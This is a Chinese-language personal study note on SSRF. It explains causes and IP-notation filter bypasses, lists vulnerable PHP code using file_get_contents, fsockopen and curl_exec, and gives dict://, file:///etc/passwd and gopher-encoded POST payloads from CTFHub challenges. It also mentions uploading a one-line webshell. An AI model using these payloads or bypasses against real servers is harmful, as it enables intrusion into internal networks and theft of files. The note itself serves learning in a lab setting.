发现自己学了个?学到的基本上没有用上,构造POST请求头也没有学到,就会那几个简单的,后面几个绕过协议都没有见过,人麻了,下次在系统学习后面的,文件上传给我搞蒙了,不想搞了,闹。
形成原因
- [ ] SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定 URL 地址获取网页文本内容,加载指定地址的图片,文档,等等。
- 两台服务器架在同一个网段里面,一个公开访问的外网服务器A,一个内网才能访问的 内网服务器B,我们只能访问B,
- 但是B有ssrf漏洞,所以我们可以通过A服务器来访问B服务器
* * *
访问流程:输入 A 网站 URL --> 发送请求 --\> A 服务器接受请求(没有过滤),并处理 -->返回用户响应
* * *
比如一个网址:`url1/xxx.php?**image**=url2/1.jpg,image`可以访问外网也可以访问内网的同时
产生的原因:服务器端的验证并没有对其请求获取图片的参数(image=)做出严格的过滤以及限制,导致 A 网站可以从其他服务器的获取数据
如果把url2改成内网ip
如果存在该内网地址就会返回 1xx 2xx 之类的状态码,不存在就会其他的状态码
**`SSRF 漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有检测这个请求是否合法的,然后服务器以他的身份来访问其他服务器的资源。`**
用途
1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息;
2.攻击运行在内网或本地的应用程序(比如溢出);
3.对内网 web 应用进行指纹识别,通过访问默认文件实现;
4.攻击内外网的 web 应用,主要是使用 get 参数就可以实现的攻击(比如 struts2,sqli等);
5.利用 file 协议读取本地文件等
原理及作用
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由
服务端发起请求的一个安全漏洞。一般情况下,SSRF 是要目标网站的内部系统。(因为他是
从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中
间人(类似与APR攻击)
SSRF内网攻击,当一台机子有该漏洞时候可以利用该机子攻击其他处于相同网段的服务器。
ssrf绕过方法
里面的请求的ip地址就是要攻击的服务器地址
1**、更改** IP 地址写法
比如采用正则表达式:
^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$、
也可以改编ip的写法
(1)、8 进制格式:0300.0250.0.1
(2)、16 进制格式:0xC0.0xA8.0.1
(3)、10 进制整数格式:3232235521
(4)、16 进制整数格式:0xC0A80001
利用解析 URL 所出现的问题
在某些情况下,后端程序可能会对访问的 URL 进行解析,对解析出来的 host 地址进行过滤。
这时候可能会出现对 URL 参数解析不当,导致可以绕过过滤。url@ip/
常见ssrf
)分享:通过 URL 地址分享网页内容
2)转码服务
3)在线翻译
4)图片加载与下载:通过 URL 地址加载或下载图片
5)图片、文章收藏功能
6)未公开的 api 实现以及其他调用 URL 的功能
7)从 URL 关键字中寻找
`image
share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
domain`
...
常见的ssrf后端代码
file_get_contents:
<?php
if (isset($_POST['url']))
{
$content = file_get_contents($_POST['url']);
$filename ='./images/'.rand().';img1.jpg';
file_put_contents($filename, $content);
echo $_POST['url'];
$img = "<img src=\"".$filename."\"/>";
}
echo $img;
?>
//这段代码使用 file_get_contents 函数从用户指定的 url 获取图片,然后把它用一个随机文件名保存在硬盘上,并展示给用户
fsockopen():
<?php
function GetFile($host,$port,$link)
{
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>
这段代码使用 fsockopen 函数实现获取用户制定 url 的数据(文件或者 html)。这个函数会使用 socket 跟服务器建立 tcp 连接,传输原始数据。
curl_exec():
<?php
if (isset($_POST['url']))
{
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
使用curl获取数据
*使用协议进行内网探测
SSRF常用协议用 http,file,php 协议来进行内网探测,文件读取,漏洞利用等。
但是漏洞内网站点的漏洞在 POST 请求的参数中呢?又或者漏洞点在 request header 中的某个字段里呢?
需要用到其他协议
file协议,gopher协议,dict协议
正在上传…
*dict协议
顾名思义字典协议
常用于让客户端使用过程中能够访问更多的字典源,但是在 SSRF 中如果可以使用 dict 协议那么就可以轻易的获取目标服务器端口上运行的服务版本等信息
如请求 http://192.168.163.150/test.php?url=dict://192.168.163.1:3306/info 可以获取目标主机的 3306 端口上运行着 mysq-l5.5.55 版本的应用。
*file协议
请求 http://192.168.163.150/test.php?url=file:///etc/passwd 便可以获取敏感文件的信息。
*gopher协议(发送post包)
伪造内网POST
gopher 协议是比 http 协议更早出现的协议,现在已经不常用了是在 SSRF 漏洞利用中 gopher 可以说是万金油,因为可以使用 gopher 发送各种格式的请求包,可以解决漏洞点不在 GET 参数的问题了。基本协议格式:URL:gopher://<host>:<port>/<gopher-path>
发送post包
CTFHUB
内网访问
伪协议读取文件
rl:CTFHub 环境实例 | 提示信息
伪协议就是三个常见其他协议,file,gopher,dict
CTFHub 环境实例 | 提示信息 //gg
/?url=file:///var/www/html/flag.php
//基于文件上传得出的保存地址http://challenge-f92e8d3a5f932711.sandbox.ctfhub.com:10800/upload/yjh.php
端口扫描
burp构造端口扫描,没学过,还得去学burp,好像自己跳节奏了。
POST请求
访问127.0.0.1/flag.php得到key
构造post请求
利用gopher构造post包
URL:gopher://:/
借用大佬的:
post包空格隔开
gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=842897ecd66bd4aee6c52a996cbf1915
好离谱啊放repeater不出来,直接放原网址里面出来了
gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1%26Host: 127.0.0.1:80%26Content-Type: application/x-www-form-urlencoded%26Content-Length: 36%26key=842897ecd66bd4aee6c52a996cbf1915
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:%20127.0.0.1:80%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%2036%0d%0A%0d%0Akey=842897ecd66bd4aee6c52a996cbf1915%0d%0a
gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250AHost:%2520127.0.0.1:80%250d%250AContent-Type:%2520application/x-www-form-urlencoded%250d%250AContent-Length:%252036%250d%250A%250d%250Akey=842897ecd66bd4aee6c52a996cbf1915%250d%250a
文件上传
构造post,上传一句话木马
文件上传地方没有自己搞一个,然后抓包,把整个抓到的包作为一个post请求,进行url编码直到他看得懂位置,发到index.php中,然后连接